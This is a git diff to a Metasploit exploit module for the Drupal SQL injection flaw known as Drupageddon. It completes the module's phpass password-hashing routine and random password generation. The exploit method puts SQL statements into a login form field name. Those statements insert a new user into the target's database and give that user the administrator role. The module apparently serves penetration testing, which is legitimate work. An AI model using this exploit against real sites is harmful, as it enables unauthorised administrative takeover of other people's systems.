diff --git a/modules/exploits/multi/http/drupal_drupageddon.rb b/modules/exploits/multi/http/drupal_drupageddon.rb
index 217863614a..a692dd6b30 100644
--- a/modules/exploits/multi/http/drupal_drupageddon.rb
+++ b/modules/exploits/multi/http/drupal_drupageddon.rb
@@ -47,7 +47,8 @@ class Metasploit3 < Msf::Exploit::Remote
 
     register_advanced_options(
     [
-      OptString.new('ADMIN_ROLE', [ true, "The administrator role", 'administrator'])
+      OptString.new('ADMIN_ROLE', [ true, "The administrator role", 'administrator']),
+      OptInt.new('ITER', [ true, "Hash iterations (2^ITER)", 10])
     ], self.class)
   end
 
@@ -59,42 +60,69 @@ class Metasploit3 < Msf::Exploit::Remote
     datastore['ADMIN_ROLE']
   end
 
+  def iter
+    datastore['ITER']
+  end
+
+  def itoa64
+    './0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'
+  end
+
+  # PHPs PHPASS base64 method
+  def phpass_encode64(input, count)
+    out = ''
+    cur = 0
+    while cur < count
+      value = input[cur].ord
+      cur += 1
+      out << itoa64[value & 0x3f]
+      if cur < count
+        value |= input[cur].ord << 8
+      end
+      out << itoa64[(value >> 6) & 0x3f]
+      break if cur >= count
+      cur += 1
+
+      if cur < count
+        value |= input[cur].ord << 16
+      end
+      out << itoa64[(value >> 12) & 0x3f]
+      break if cur >= count
+      cur += 1
+      out << itoa64[(value >> 18) & 0x3f]
+    end
+    out
+  end
+
   def generate_password_hash(pass)
     # Syntax for MD5:
     # $P$ = MD5
-    # one char representing the hash iterations (min 7 iterations)
+    # one char representing the hash iterations (min 7)
     # 8 chars salt
     # MD5_raw(salt.pass) + iterations
-    # MD5 base64 encoded and trimmed to 22 chars for md5
-
-    # VALID md5 for salt 12345678 and password test
-    #$P$812345678BWHQIqn5fZNJ.YWj7Kb39.
-
-    pass = 'test'
-    iter = 10
-    iter_char_base = './0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'
-    iter_char = iter_char_base[iter]
-    #salt = Rex::Text.rand_text_alpha(8)
-    salt = '12345678'
+    # MD5 phpass base64 encoded (!= encode_base64) and trimmed to 22 chars for md5
+    iter_char = itoa64[iter]
+    salt = Rex::Text.rand_text_alpha(8)
     md5 = Rex::Text.md5_raw("#{salt}#{pass}")
-    1.upto(iter) {
+    # convert iter from log2 to integer
+    iter_count = 2**iter
+    1.upto(iter_count) {
       md5 = Rex::Text.md5_raw("#{md5}#{pass}")
     }
-    md5_base64 = Rex::Text.encode_base64(md5)
+    md5_base64 = phpass_encode64(md5, md5.length)
     md5_stripped = md5_base64[0...22]
     pass = "$P$#{iter_char}#{salt}#{md5_stripped}"
-    #puts pass
+    vprint_debug("#{peer} - password hash: #{pass}")
 
-    # return hardcoded password test for now
-    return '$S$D7hqYeEHohfN2JLg7L4JBa8P3HBX8vimkIehutyb3BptkWMMON/d'
+    return pass
   end
 
   def sql_insert_user(user, pass)
-    "insert into users (uid, name, pass, mail, status) select max(uid)+1, '#{user}', '#{(generate_password_hash(pass))}', '#{Rex::Text.rand_text_alpha_lower(5)}@#{Rex::Text.rand_text_alpha_lower(5)}.#{Rex::Text.rand_text_alpha_lower(3)}', 1 from users"
+    "insert into users (uid, name, pass, mail, status) select max(uid)+1, '#{user}', '#{generate_password_hash(pass)}', '#{Rex::Text.rand_text_alpha_lower(5)}@#{Rex::Text.rand_text_alpha_lower(5)}.#{Rex::Text.rand_text_alpha_lower(3)}', 1 from users"
   end
 
   def sql_make_user_admin(user)
-    "insert into users_roles (uid, rid) VALUES ((select uid from users where name='#{user}'), (select rid from role where name = '#{admin_role}'));"
+    "insert into users_roles (uid, rid) VALUES ((select uid from users where name='#{user}'), (select rid from role where name = '#{admin_role}'))"
   end
 
   def extract_form_ids(content)
@@ -109,7 +137,6 @@ class Metasploit3 < Msf::Exploit::Remote
 
   def exploit
 
-    # TODO: Password hashing function
     # TODO: Check if option admin_role exists via admin/people/permissions/roles
 
     # call login page to extract tokens
@@ -128,9 +155,7 @@ class Metasploit3 < Msf::Exploit::Remote
     form_build_id, form_token = extract_form_ids(res.body)
 
     user = Rex::Text.rand_text_alpha(10)
-    #pass = Rex::Text.rand_text_alpha(10)
-    # TODO: hardcoded for now
-    pass = 'test'
+    pass = Rex::Text.rand_text_alpha(10)
 
     post = {
       "name[0 ;#{sql_insert_user(user, pass)}; #{sql_make_user_admin(user)}; # ]" => Rex::Text.rand_text_alpha(10),